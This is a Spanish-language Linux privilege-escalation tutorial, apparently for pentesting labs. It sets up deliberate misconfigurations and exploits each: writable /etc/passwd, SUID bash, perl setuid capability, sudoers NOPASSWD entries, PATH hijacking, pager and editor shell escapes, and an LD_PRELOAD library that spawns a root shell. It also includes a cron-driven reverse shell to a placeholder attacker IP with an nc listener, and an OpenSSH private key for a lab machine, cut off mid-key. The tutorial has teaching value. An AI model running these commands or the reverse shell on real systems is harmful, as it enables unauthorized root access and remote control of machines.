GTFOBins es una lista seleccionada de binarios de Unix que pueden usarse para eludir las restricciones de seguridad locales en sistemas mal configurados.
URL = https://gtfobins.github.io/
Crontab-Generator es un aplicativo web que nos ayudara a configurar de manera automática los intervalos de tiempo en nuestras tareas Cron en nuestro sistema.
URL = https://crontab-generator.com/es
La herramienta LES está diseñada para ayudar a detectar deficiencias de seguridad para una máquina basada en Linux/kernel de Linux determinada. La herramienta evalúa (usando métodos heurísticos) la exposición del kernel dado a las vulnerabilidades del kernel de Linux conocidas públicamente.
Script: <- Descargamos la herramienta.
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh && chmod +x les.sh
LinPEAS es un script que busca posibles rutas para escalar privilegios en hosts Linux/Unix/MacOS.
Script: <- Descargamos la herramienta.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh && chmod +x linpeas.sh
Pspy es una herramienta de enumeración de procesos que permite a los atacantes observar los procesos y comandos que se ejecutan en el sistema objetivo a intervalos regulares de tiempo. Pspy es una herramienta útil para la detección de malware y backdoors, así como para la identificación de procesos maliciosos que se ejecutan en segundo plano sin la interacción del usuario.
Script: <- Descargamos la herramienta.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && chmod +x pspy64
SUID3NUM es una herramienta que utiliza los módulos integrados de Python para encontrar contenedores SUID, separar contenedores predeterminados de contenedores personalizados, compararlos con contenedores en el repositorio de GTFO Bin y explotarlos automáticamente.
Script: <- Descargamos la herramienta.
wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
PathTrace es una herramienta desarrollada por MatthyGD diseñada para explorar y mapear de manera exhaustiva todo el sistema, proporcionando un análisis detallado de la infraestructura y las rutas dentro de un entorno determinado. Su objetivo principal es identificar todos los componentes esenciales, configuraciones, y posibles vulnerabilidades del sistema a través de un proceso de escaneo en profundidad.
Script: <- Descargamos la herramienta.
git clone https://github.com/MatthyGD/PathTrace.git && mv PathTrace/PathTrace.sh . && rm -r PathTrace && chmod +x PathTrace.sh
BruteX es una herramienta desarrollada por MatthyGD que se utiliza para hacer ataques de diccionarios a todos lo usuarios dentro de un sistema Linux.
Script: <- Descargamos la herramienta.
git clone https://github.com/MatthyGD/BruteX.git && mv BruteX/BruteX.sh . && rm -r BruteX && chmod +x BruteX.sh && wget --no-check-certificate -q "https://raw.githubusercontent.com/VulNyx/Arsenal/refs/heads/main/suForce/techyou.txt"
Como pentester podemos abusar de esas técnicas para poder obtener una escalada dentro del sistema y poder llegar a superusuario y tener el control completo del sistema.
Un ataque de diccionario (en inglés: dictionary attack) es una técnica de fuerza bruta utilizada por atacantes para descubrir la contraseña de un usuario legítimo de un sistema gracias a la utilizacion de un software junto con un diccionario de palabras que reiterara apuntando al inicio de sesión.
Lo primero que haremos es crear un usuario dentro del sistema donde sus credenciales de acceso no siguen los estándares básicos de seguridad. Para ello usaremos el siguiente comando:
Script: <- Creamos un usuario de forma detalla y completa.
useradd -m -d /home/<Usuario nuevo> -s /bin/bash -p $(openssl passwd -1 <Password>) <Usuario nuevo>
Una vez tengamos al usuario creado podemos usar la siguiente herramienta para intentar obtener sus credenciales:
Script: <- Usamos la herramienta para realizar el ataque.
./BruteX.sh -w <Diccionario>
En los sistemas Linux, los archivos y carpetas cuentan con permisos que regulan quién puede acceder a ellos y qué acciones pueden realizar. Estos permisos se organizan en tres tipos de usuarios: el dueño del archivo, el grupo asociado y el resto de los usuarios. Para cada uno de estos, se pueden establecer permisos de lectura, modificación y ejecución. Solo el propietario del archivo o un administrador (root) tienen la capacidad de cambiar estos permisos.
Para preparar la vulnerabilidad vamos a fichar por el archivo: “passwd” ubicado en: “/etc/passwd” que es el archivo de texto que contiene información esencial sobre las cuentas de usuario del sistema.
Para ello vamos a aplicar permisos de escritura para que cualquier persona pueda escribir en el archivo: “passwd” de la siguiente manera:
Script: <- Con el siguiente comando aplicamos permisos de escritura para el grupo: “others”.
chmod o+w /etc/passwd
Si contemplamos que el archivo: “passwd” tiene permisos de escritura para el grupo: “others” el riesgo para cambiar las credenciales de cualquier usuario esta garantizado.
Una vez hemos visualizado que cualquier persona puede escribir en el archivo: “passwd” podemos hacer lo siguiente para escalar privilegios:
Script: <- Contemplamos los permisos del archivo.
ls -la /etc/passwd
Haremos el siguiente comando para generar una credencial cifrada y reemplazarla con la credencial legitima de cualquier usuario que queramos.
Script: <- Generamos una credencial cifrada.
openssl passwd
Una vez tengamos la credencial tenemos que modificar el archivo: “passwd”
Script: <- Abrimos el archivo: “passwd”.
nano /etc/passwd
Ahora simplemente reemplazamos la primera: “x” del usuario que queramos por la credencial que hayamos generado anteriormente y guardamos el archivo.
Una vez finalizado nos logeamos con el usuario que hayamos cambiado la credencial:
Script: <- Nos logeamos con el usuario con las credenciales cambiada.
su <Usuario>
Este método es mas rápido ya que solo tenemos que abrir el archivo: “passwd” y borrar la primera: “x” del usuario que queramos quitarle la contraseña para posteriormente logearnos sin proporcionar contraseña valida.
Script: <- Abrimos el archivo: “passwd”.
nano /etc/passwd
Ahora borramos primera: “x” del usuario que queramos quitarle la contraseña y guardamos el archivo.
Una vez finalizado nos logeamos con el usuario que hayamos quitado la credencial:
Script: <- Nos logeamos con el usuario con las credenciales cambiada.
su <Usuario>
Los permisos SUID (Set User ID) son permisos especiales que, al aplicarse a un archivo ejecutable, permiten que cualquier usuario que lo ejecute adquiera temporalmente los mismos privilegios que el propietario del archivo. También se conocen como permisos setuid.
Para preparar la vulnerabilidad vamos a fichar por el binario: “bash” ubicado en: “/bin/bash” que es el binario que proporciona la Shell: “bash” dentro del sistema.
Para ello haremos el siguiente comando para darle permiso SUID al binario: “bash”
Script: <- Con el siguiente comando aplicamos permisos SUID al binario: “bash”
chmod u+s /bin/bash
Si contemplamos que el binario: “bash” tiene permisos SUID el riesgo para escalar privilegios como root esta asegurado.
Simplemente ficharemos por el binario: “bash” de la siguiente forma para escalar privilegios:
Script: <- Contemplamos los permisos del binario.
find / -perm -4000 2>/dev/null | xargs ls -la
Script: <- Escalamos privilegios a root.
/bin/bash -p
Las Capabilities (capacidades) en Linux son un mecanismo de seguridad que permite asignar privilegios específicos a procesos o ejecutables, sin necesidad de otorgarles permisos completos de superusuario (root). Esto sigue el principio de mínimo privilegio, reduciendo los riesgos de seguridad.
¿Por qué existen las Capabilities?
Tradicionalmente, si un programa necesitaba realizar una acción privilegiada (como abrir puertos bajos o manipular dispositivos), requería ejecutarse como root, lo que generaba riesgos.
Con las Capabilities, se pueden conceder solo los permisos necesarios, evitando dar acceso total al sistema.
Para preparar la vulnerabilidad vamos a fichar por el binario: “perl” ubicado en: “/usr/bin/perl”.
Para ello haremos el siguiente comando para darle la funcionalidad: “capabilitie” al binario: “perl”
Script: <- Asignación de la funcionalidad: “capabilitie” al binario: “perl”.
setcap cap_setuid+ep /usr/bin/perl
Si contemplamos que el binario: “perl” tiene la funcionalidad: “capabilitie” el riesgo para escalar privilegios como root esta asegurado.
Simplemente ficharemos por el binario: “perl” de la siguiente forma para escalar privilegios:
Script: <- Contemplamos los: “capabilities” del sistema.
getcap -r / 2>/dev/null
Script: <- Escalamos privilegios a root.
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Los ACL (Access Control Lists) son una extensión de los permisos tradicionales de Linux (
chmod), que permiten definir permisos más granulares para archivos y directorios. Mientras quechmodsolo trabaja con usuario propietario, grupo y otros, los ACL permiten:
Asignar permisos específicos a usuarios individuales (sin necesidad de que sean el dueño).
Definir permisos para grupos adicionales (no solo el grupo principal del archivo).
Heredar permisos en subdirectorios y archivos nuevos.
Para preparar la vulnerabilidad vamos a fichar por el archivo: “passwd” ubicado en: “/etc/passwd” que es el archivo de texto que contiene información esencial sobre las cuentas de usuario del sistema.
Para ello vamos a aplicar permisos al usuario: “kali” mediante: “ACL” para que pueda manipular el archivo: “passwd” por completo.
Script: <- Asignamos al usuario: “kali” permisos completos al archivo: “passwd”
setfacl -m u:kali:rwx /etc/passwd
Si contemplamos que el archivo: “passwd” tiene permisos de escritura para el usuario: “kali” mediante: “ACL” el riesgo para cambiar las credenciales de cualquier usuario esta garantizado.
Script: <- Búsqueda de archivos ACL.
find / -exec sh -c 'getfacl {} 2>/dev/null | grep -q "user:kali" && echo {}' \; 2>/dev/null
Script: <- Búsqueda de archivos ACL.
getfacl /etc/passwd
Una vez hemos visualizado que el usuario: “kali” puede escribir en el archivo: “passwd” podemos hacer lo siguiente para escalar privilegios:
Haremos el siguiente comando para generar una credencial cifrada y reemplazarla con la credencial legitima de cualquier usuario
Script: <- Generamos una credencial cifrada.
openssl passwd
Una vez tengamos la credencial tenemos que modificar el archivo: “passwd”
Script: <- Abrimos el archivo: “passwd”.
nano /etc/passwd
Ahora simplemente reemplazamos la primera: “x” del usuario que queramos por la credencial que hayamos generado anteriormente y guardamos el archivo.
Una vez finalizado nos logeamos con el usuario que hayamos cambiado la credencial:
Script: <- Nos logeamos con el usuario con las credenciales cambiada.
su <Usuario>
Este método es mas rápido ya que solo tenemos que abrir el archivo: “passwd” y borrar la primera: “x” del usuario que queramos quitarle la contraseña para posteriormente logearnos sin proporcionar contraseña valida.
Script: <- Abrimos el archivo: “passwd”.
nano /etc/passwd
Ahora borramos primera: “x” del usuario que queramos quitarle la contraseña y guardamos el archivo.
Una vez finalizado nos logeamos con el usuario que hayamos quitado la credencial:
Script: <- Nos logeamos con el usuario con las credenciales cambiada.
su <Usuario>
El archivo /etc/sudoers define qué usuarios o grupos pueden ejecutar comandos con privilegios elevados (usando sudo).
Riesgos comunes
Privilegios excesivos (ej: ALL=(ALL) ALL).
Archivos modificados por atacantes (backdoors en sudoers).
Abuso de binarios permitidos (ej: sudo vim → escalar a root).
Para preparar la vulnerabilidad vamos a fichar por el binario: “bash” ubicado en: “/bin/bash” que es el binario que proporciona la Shell: “bash” dentro del sistema.
Para ello vamos a aplicar que el binario: “bash” lo pueda ejecutar: “root” sin proporcionar contraseña dentro del usuario: “kali”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Script: <- Estructura general de todo lo que podemos implementar.
# Para que un Usuario realice cualquier comando con password
nombre_usuario ALL=(ALL:ALL) ALL
# Para que un Usuario realice cualquier comando sin password
nombre_usuario ALL=(ALL:ALL) NOPASSWD: ALL
# Para que un Usuario realice una accion con un usuario definido con password
nombre_usuario ALL=(root) /usr/bin/nano
# Para que un Usuario realice una accion con un usuario definido sin password
nombre_usuario ALL=(root) NOPASSWD: /usr/bin/cat
# Para que un Grupo específico realice cualquier comando con password
%nombre_grupo ALL=(ALL:ALL) ALL
# Para que un Grupo específico realice cualquier comando sin password
%nombre_grupo ALL=(ALL:ALL) NOPASSWD: ALL
# Para que un Grupo específico realice una accion con un usuario definido con password
%nombre_grupo ALL=(root) /usr/bin/cat
# Para que un Grupo específico realice una accion con un usuario definido sin password
%nombre_grupo ALL=(root) NOPASSWD: /usr/bin/cat
# Para que un usuario pueda realizar varios binarios
nombre_usuario ALL=(ALL) /usr/bin/apt, /usr/bin/systemctl
En este caso definiremos la linea:
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /bin/bash
Si lo asignamos de manera correcta tendremos una linea como esta: (root) NOPASSWD: /bin/bash
Una vez definido podemos contemplar los permisos de la siguiente manera:
Script: <- Contemplamos los permisos asignados en: “sudoers” para el usuario “kali”.
sudo -l
Una vez hemos visualizado los permisos asignados en: “sudoers” en el usuario: “kali” en este caso podemos hacer el siguiente comando para elevar privilegios como root:
Script: <- Elevamos privilegios gracias al binario: “bash” asignado en el archivo de configuración: “sudoers”
sudo -u root /bin/bash -p
Técnica donde un atacante manipula la variable de entorno: “PATH” para que un programa ejecute un binario malicioso en lugar del legítimo.
¿Cómo funciona?
Muchos programas llaman a comandos (como ls, cat, python) sin su ruta absoluta (/bin/ls).
El sistema busca estos comandos en las rutas definidas en PATH (ej: /usr/bin, /usr/local/bin).
Si un atacante modifica el PATH y coloca un script malicioso con el mismo nombre en una ruta prioritaria, el programa lo ejecutará.
Para preparar la vulnerabilidad primero tenemos que comentar la linea de protección: “Default secure_path” dentro del archivo de configuración: “sudoers”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Una vez hayamos comentado la linea de protección: “Default secure_path” agregamos el siguiente permiso:
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /home/kali/pruebas/test_ping.sh
Una vez este listo solo tenemos que guardar el archivo y crear el entorno de la siguiente manera:
Script: <- Creamos el entorno para preparar el programa legitimo.
sudo mkdir -p /home/kali/pruebas && sudo chmod 777 /home/kali/pruebas && cd /home/kali/pruebas && sudo nano test_ping.sh && sudo chmod 777 test_ping.sh
Dentro del programa creado: “test_ping.sh” pondremos lo siguiente:
Script: <- Creamos un programa que hará ping a: “goole.es”.
#!/bin/bash
ping -c 5 google.es
Ya lo tenemos todo listo para que el atacante escale privilegios con la técnica: “Path Hijacking”
Nosotros como atacantes veremos un programa creado por root que usa el binario: “ping” pero no esta usando su ruta absoluta: “/usr/bin/ping”, eso es un peligro porque ahora podemos robar una ruta del sistema para crear nuestro propio ping malicioso:
Script: <- Robamos la ruta temporal de Linux: “tmp”
cd /tmp && export PATH=/tmp:$PATH
Una vez hayamos echo el comando podemos verificar si hemos robado la ruta con el siguiente comando:
Script: <- Contemplamos si la ruta: “/tmp” fue robada exitosamente.
echo $PATH
La ruta robada: “/tmp” debería de ser la primera en la lista de rutas que buscan un binario en la ruta absoluta dentro del sistema: /tmp:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
De ser así ya podemos crear un archivo malicioso que robe el nombre: “ping” dentro de la ruta robada: “/tmp” para cuando ejecutemos el programa legitimo por: “root” fiche por nuestro ping malicioso y ejecute el comando que queramos:
Script: <- Creamos un ping malicioso.
nano ping && chmod +x ping
Dentro del archivo pondremos:
Script: <- Dentro del ping malicioso haremos que ejecute una bash privilegiada.
#!/bin/bash
bash -p
Ya esta todo listo para acontecer el: “Path Hijacking” así que solo tenemos que fichar mediante: “sudo -l” la ruta de la herramienta como el usuario: “root” de la siguiente manera:
Script: <- Contemplamos los permisos asignados en: “sudoers” para el usuario: “kali”.
sudo -l
Script: <- Elevamos privilegios gracias al robo del Path y del fichero malicioso: “ping” creado en: “/tmp”
sudo -u root /home/kali/pruebas/test_ping.sh
Variable de entorno que fuerza a un programa a cargar una biblioteca compartida (.so) antes que las estándar.
¿Cómo funciona?
Permite sobrescribir funciones como malloc(), open(), etc.
Útil para depuración, pero también para ataques.
Para preparar la vulnerabilidad tenemos que definir la Variable de Entorno LD_PRELOAD dentro del archivo de configuración: “sudoers” de la siguiente forma:
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Una vez abierto el archivo tenemos que definir la variable de entorno “LD_PRELOAD” dentro de la sección: “Defaults”.
Script: <- Definimos la variable de entorno “LD_PRELOAD” dentro de la sección: “Defaults”.
Defaults env_keep += "LD_PRELOAD"
Una vez agregado el entorno: “LD_Preload” definimos el siguiente permiso:
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /usr/bin/ping
Una vez listo, ya podemos pasar con la explotación.
Si nosotros a la hora de hacer un: “sudo -l” para ver los permisos: “sudoers” vemos que tenemos la variable: “env_keep+=LD_PRELOAD” la escalada esta asegurada y siempre es la misma metodologia:
Crearemos un archivo en lenguaje: “C” de la siguiente manera:
Script: <- Creamos un archivo en: “C”.
nano evil.c
Ahora agregaremos el siguiente código:
Script: <- Introduciremos el siguiente código dentro del archivo previamente creado.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Una vez guardado, solo quedaría compilarlo antes de proceder a usarlo para escalar nuestros privilegios:
Script: <- Compilamos el código.
gcc evil.c -o evil -fPIC -shared -nostartfiles -w
Ya tendríamos nuestro archivo: “evil” completamente compilado, ya podemos usarlo para escalar privilegios de la siguiente manera:
Script: <- Ejecutamos la escalada de privilegios.
sudo LD_PRELOAD=/tmp/evil /usr/bin/ping
Una tarea cron es un proceso automatizado en sistemas Unix/Linux que se ejecuta a intervalos regulares o en momentos específicos, programado mediante el archivo crontab. Sirve para tareas como backups, actualizaciones o limpieza de archivos.
El formato de configuración de cron sigue la estructura: Minuto Hora Dia-del-Mes Mes Dia-de-la-Semana Comando-a-Ejecutar.
El intervalo de tiempo se especifica mediante 5 campos que representan, de izquierda a derecha:
| Campo | Rango | Descripción |
|---|---|---|
| Minutos | 0-59 | Rango de minutos desde 0 hasta 59. |
| Horas | 0-23 | Rango de horas desde 0 hasta 23. |
| Día del mes | 1-31 | Rango de días del mes desde 1 hasta 31. |
| Mes | 1-12 | Rango de meses desde 1 hasta 12. |
| Día de la semana | 1-6 (lunes a sábado) <br> 0, 7 (domingo) | Rango de días de la semana donde 1=lunes, 2=martes, etc. Se usa 0 o 7 para el domingo. |
Si deseamos especificar todos los valores posibles para un parámetro (minutos, horas, etc.), podemos utilizar el asterisco (*). Esto implica que el comando indicado se ejecutará cada minuto, hora, día de mes, mes o día de la semana. A continuación se muestra un ejemplo:
| Minuto | Hora | Día del mes | Mes | Día de la semana | Comando |
|---|---|---|---|---|---|
| * | * | * | * | * | /home/kali/test.py |
Script: <- Estructura general de todo lo que podemos implementar.
## En 01:00 en todos los días
0 1 * * * nombre_usuario /usr/bin/python3 /home/kali/test.py
## En 15:00 en el 16º durante cada julio
0 15 16 7 * nombre_usuario /usr/bin/python3 /home/kali/test.py
## Cada minuto en todos los días
* * * * * nombre_usuario /usr/bin/python3 /home/kali/test.py
Para preparar la vulnerabilidad tenemos que definir una accion dentro del archivo de configuración de las tareas Cron de la siguiente forma:
Script: <- Abrimos el archivo de configuración para definir una tarea Cron.
nano /etc/crontab
Una vez abierto el archivo de configuración: “crontab” agregamos la siguiente linea:
Script: <- Implementamos que a cada minuto fiche por un archivo creado por nosotros.
* * * * * root /home/kali/pruebas/reverse.sh
Una vez este listo solo tenemos que guardar el archivo y crear el entorno de la siguiente manera:
Script: <- Creamos el entorno para preparar el programa legitimo.
sudo mkdir -p /home/kali/pruebas && sudo chmod 777 /home/kali/pruebas && cd /home/kali/pruebas && sudo nano reverse.sh && sudo chmod 777 reverse.sh
Dentro del programa creado por root: “reverse.sh” pondremos lo siguiente:
Script: <- Creamos un programa que hará una reverse shell hacia nuestro propio equipo por el puerto: 1234.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<IP atacante>/<Puerto> 0>&1"
Ya lo tenemos todo listo para que el atacante escale privilegios gracias a la tarean Cron programada.
Como atacantes siempre es importante revisar el archivo de configuración que ejecuta las tareas Cron, para ello haremos:
Script: <- Leemos el archivo de configuración de las tareas Cron de nuestro sistema.
cat /etc/crontab
Nosotros al ver que hay una tarean Cron programada lo ideal es ver que hace el programa asi que simplemente haremos el siguiente comando:
Script: <- Leemos las acciones que hace el archivo fichado por el archivo de configuracion de tareas Cron.
cat /home/kali/pruebas/reverse.sh
Como podemos ver hace una reverse shell (aunque siempre podemos jugar para ver si acontecemos otras vulnerabilidades dentro del propio archivo, como por ejemplo Path Hijacking)
Ademas el comportamiento del archivo lo hace el propio usuario root, asi que si logramos establecer una conexion en este caso, lo haremos como root:
Script: <- Desplegamos un puerto de escucha en nuestro equipo con el puerto necesario.
nc -nlvp <Puerto>
Y si esperamos un minuto ya tendremos disponible una shell como el usuario root.
Cuando hablamos de: “Escapar del Contexto” nos referimos a pasar de tener acceso limitado (por ejemplo, dentro de un editor, un programa restringido o una shell limitada) a obtener una shell completa o mayor privilegio, típicamente una shell interactiva como usuario normal o incluso root.
Lo primero que haremos es preparar una accion desde sudoers para que el usuario kali pueda fichar como el usuario root el fichero: “/etc/passwd” con el binario: “less”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /usr/bin/less /etc/passwd
Si lo asignamos de manera correcta tendremos una linea como esta: (root) NOPASSWD: /usr/bin/less /etc/passwd
Ahora simplemente tenemos que apuntar al: “/etc/passwd” con el binario: “Less” de la siguiente manera:
Script: <- Fichamos el: “/etc/passwd” con el binario: “Less”
sudo -u root /usr/bin/less /etc/passwd
Una vez dentro tenemos que hacer el siguiente parámetro para salir del contexto de: “Less” y pasar a una nueva Shell como el usuario: “Root”
Script: <- Salimos del binario: “Less” como el usuario: “Root”
!/bin/bash
Lo primero que haremos es preparar una accion desde sudoers para que el usuario kali pueda fichar como el usuario root el fichero: “/etc/passwd” con el binario: “more”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /usr/bin/more /etc/passwd
Si lo asignamos de manera correcta tendremos una linea como esta: (root) NOPASSWD: /usr/bin/more /etc/passwd
Ahora simplemente tenemos que apuntar al: “/etc/passwd” con el binario: “More” de la siguiente manera:
Script: <- Fichamos el: “/etc/passwd” con el binario: “More”
sudo -u root /usr/bin/more /etc/passwd
Una vez dentro tenemos que hacer el siguiente parámetro para salir del contexto de: “More” y pasar a una nueva Shell como el usuario: “Root”
Script: <- Salimos del binario: “More” como el usuario: “Root”
!/bin/bash
Lo primero que haremos es preparar una accion desde sudoers para que el usuario kali pueda fichar como el usuario root el fichero: “/etc/passwd” con el binario: “vim”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /usr/bin/vim /etc/passwd
Si lo asignamos de manera correcta tendremos una linea como esta: (root) NOPASSWD: /usr/bin/vim /etc/passwd
Ahora simplemente tenemos que apuntar al: “/etc/passwd” con el binario: “Vim” de la siguiente manera:
Script: <- Fichamos el: “/etc/passwd” con el binario: “Vim”
sudo -u root /usr/bin/vim /etc/passwd
Una vez dentro haremos lo siguiente:
Script: <- Asignamos lo siguiente para poder crear comandos dentro del contexto de: “Vim”
Shift + :
Script: <- Salimos del binario: “Vim” como el usuario: “Root”
!/bin/bash
Lo primero que haremos es preparar una accion desde sudoers para que el usuario kali pueda fichar como el usuario root el fichero: “/etc/passwd” con el binario: “nano”
Script: <- Abrimos el archivo de configuración para asignar: “sudoers” en el sistema.
visudo
Script: <- Agregamos el siguiente permiso dentro del archivo de configuración de: “sudoers”.
kali ALL=(root) NOPASSWD: /usr/bin/nano /etc/passwd
Si lo asignamos de manera correcta tendremos una linea como esta: (root) NOPASSWD: /usr/bin/nano /etc/passwd
Ahora simplemente tenemos que apuntar al: “/etc/passwd” con el binario: “Vim” de la siguiente manera:
Script: <- Fichamos el: “/etc/passwd” con el binario: “Nano”
sudo -u root /usr/bin/nano /etc/passwd
Una vez dentro haremos lo siguiente:
Script: <- Asignamos lo siguiente para poder crear comandos dentro del contexto de: “Vim”
Ctrl+R y despues Ctrl+X
Script: <- Salimos del binario: “Vim” como el usuario: “Root”
reset; sh 1>&0 2>&0
El kernel es el núcleo del sistema operativo Linux, responsable de gestionar recursos críticos como:
Memoria y procesos.
Acceso a hardware (dispositivos, drivers).
Permisos y seguridad del sistema.
Debido a su alto nivel de privilegios (ring 0), una vulnerabilidad en el kernel puede permitir a un atacante escalar a root o comprometer todo el sistema.
Maquina vulnerable a la Explotación del Kernel: https://vulnyx.com/
Maquina: Chimera
Para ello crearemos una llave privada SSH para posteriormente darle los permisos necesarios e ingresando al servicio: “SSH” como el usuario: “dev”
Script: <- One lineer automatizado para ingresar al SSH de la maquina: “Chimera” como el usuario: “'dev”
nano id_rsa && chmod 600 id_rsa && ssh dev@<IP victima> -i id_rsa
Pondremos lo siguiente dentro del archivo: “id_rsa”
Script: <- Asignamos los valores de la llave privada.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAuwfFRskXm9kEwLRv4d/XfGn75FE46IZru+QT/uCazYDUmNfsSMe1
xJ4VZ6aV14eeiJhPgWHAjb9Fq7uVZKsaDPZnr5N4vW27m8qR1EEcU595+nLDP3hnZNg6Wc
s+xPSRqDHZzdG46WafTwpJLLf5RBTT2LZoUODqunWyoiGyd/he4gzKsdBnIcYG9Vzh23qk
9NJTWJOrIAHLTtJxws3orjp7NyR8hb6vkG/iPNoY5ncVD/0zs39bYcRyVfXkMD8CzYSKr/
UrbpxnemHlAxdM8KRmz5vbPbmrJSWQKeSAqYW7XCKaciz75ko6tDfb//5E3P86DHBshifc
L+V8Vin0dUC0RIMXiiOD3X09Q2S4bf81jTGmnFeh8fvV/dozVtDGgNr3EZou73nDdWyf3d
7FKvoyJoJTaczHVUu3Qt19k/mOQKn1qziGEwy3UVfFsHP0NE0gsnGcd3qTHlEP42703Td/
XEZS2kDVH55iMTkEehIkVQ5KBROGCqaqXitw15464rT9oUcmVu1JC/z3bRrShAX44pEmIc
Qw8wqxexP4MM050QCvuwiCqAzwMkwPy+V/UwxxSobsrzt8y459ORnbpCyZAvGt5jBL4sI7
zneY99+w3MOPYBXaxa/+1NTngJp0zrcmrIA8H0YwgcYtmZPBDysFDG/ypLmqZSVbKLLtIu
8AAAdIZQPTn2UD058AAAAHc3NoLXJzYQAAAgEAuwfFRskXm9kEwLRv4d/XfGn75FE46IZr
u+QT/uCazYDUmNfsSMe1xJ4VZ6aV14eeiJhPgWHAjb9Fq7uVZKsaDPZnr5N4vW27m8qR1E
EcU595+nLDP3hnZNg6Wcs+xPSRqDHZzdG46WafTwpJLLf5RBTT2LZoUODqunWyoiGyd/he
4gzKsdBnIcYG9Vzh23qk9NJTWJOrIAHLTtJxws3orjp7NyR8hb6vkG/iPNoY5ncVD/0zs3
9bYcRyVfXkMD8CzYSKr/UrbpxnemHlAxdM8KRmz5vbPbmrJSWQKeSAqYW7XCKaciz75ko6
tDfb//5E3P86DHBshifcL+V8Vin0dUC0RIMXiiOD3X09Q2S4bf81jTGmnFeh8fvV/dozVt
DGgNr3EZou73nDdWyf3d7FKvoyJoJTaczHVUu3Qt19k/mOQKn1qziGEwy3UVfFsHP0NE0g
snGcd3qTHlEP42703Td/XEZS2kDVH55iMTkEehIkVQ5KBROGCqaqXitw15464rT9oUcmVu
1JC/z3bRrShAX44pEmIcQw8wqxexP4MM050QCvuwiCqAzwMkwPy+V/UwxxSobsrzt8y459
ORnbpCyZAvGt5jBL4sI7zneY99+w3MOPYBXaxa/+1NTngJp0zrcmrIA8H0YwgcYtmZPBDy
sFDG/ypLmqZSVbKLLtIu8AAAADAQABAAACAC1TAsHWtbv06avxjjOE1Wm3HW4FKO9gs/cC
nL3lnF403FB18zLoAuq1DKbjvehPW2Hq10mZcNppAe9ONDQDKvr9M79e06HEV/S3MIPpi3
3QZfUFnr9g5F2R8QIVuQ5t3maOPiQcsN0PG4hCC92kb+nJylT4T2taNkgdgb68v81HCWdq
hix1Pqj2nnUTn0BbBmK2HbCXiJ7nEGf3o837rGmcjoOcefjHbzBnjMIGcIZZUWdgiwjy0i
htPPAL+NKgUoOPnTRrC61whbsowiDvopumm6uwL39T4V/NLJSaZXuvhuobEKaetCTo1DUc
XFo7OmD8EQs2q3YPbtLEoE8ZN75PJcBEJOMJLo2tLcmdcZqGMJe5PMvydPHe6ssHtXix5G
c+eyBf9U4J/UdGXP2ngLlQsOuxUdJJhyxe8G0mFCWyCVHHAxaCF1reA0ri9TQPd3/aT+2S
jKuJyq7GB+Dn74BcJDCfGPMeVsbF/cH0cR793gBayd5liyLxwyjuNKfqvTkSUsRObYXWts
lxce6jRy4my+DO0QOdSdN00yoDYe2w8KRX33HvRq5wx6WeJ+ctCgePmE7ofLSm7tGVkEdY
65to/iIOQptOok9Vyp8GKanDgvULvLfHlCdJROJP9NjPMMtaZTaE9hklbOHi2Y0gcqnFp3
wxUuHo3Nb+mKDHbsCRAAABAQDOcyCHKm5ao2t7eilx6S9lIGbfBBRiDi49P+7F17sWyBXu
AFucAorWdXz6xFFhu9XEBdWlpIhzIb4Jih6G2fZ1zd8pNIXgpGo9PyG7wuDSN71TknIzqL
8k2WNjdvKhC1DLde+N6+mqOC8JNAtVnzMyild1VG4UyWTOYq8lAOl3FzryicoGmnOAwSmt
AUnI1Rdm7ol7ymhguVfwqb7vQYPGXUF/VvWy3LQHUs35T69gve7BSr6e6ERD+Oz00OCh94
aPJ94pVxfXI9gu9fOkkoxQ5wGPS7SosbBRQCOC1/UHdceTxaETETYIu/V5fRYMXSWGzWo8
eWXV93E0n7BUznGwAAABAQD/77lEVi2ZvyZvdzoqMZWcZntLDC/e/UjhaQ7zuj2+VXwSIe
kh5kflWgrXqtTIT362A+GtSAj22b4t/tuPdfMa4D5feO+1lkgdIP5dPfAZLHrH3aun8Iyk
7+4c8y5qGOm0qcJozpVeAm3zXssxczY734EG9PCZDLgPjeBT1Fc1nScEvyHSBLNi0UJ5bI
ZFIsEtfNlZxVVEVubq8LiHI7ujmYzA5WzseB6yYIDMSUF8u6YAylEf1gsg3fEE5j6O519H
Ow5NPAeWwgFyrI/9ychj/CS2VL97ieYTGiaeq+XslD6qlWnTmQjmGo3eLeGOSH/NAI3exA
CUDxuythEOJWs1AAABAQC7E6ox8DdVrce5nAR4Rk5IY11vxDeMhP9wKtB98z2Czflbq227
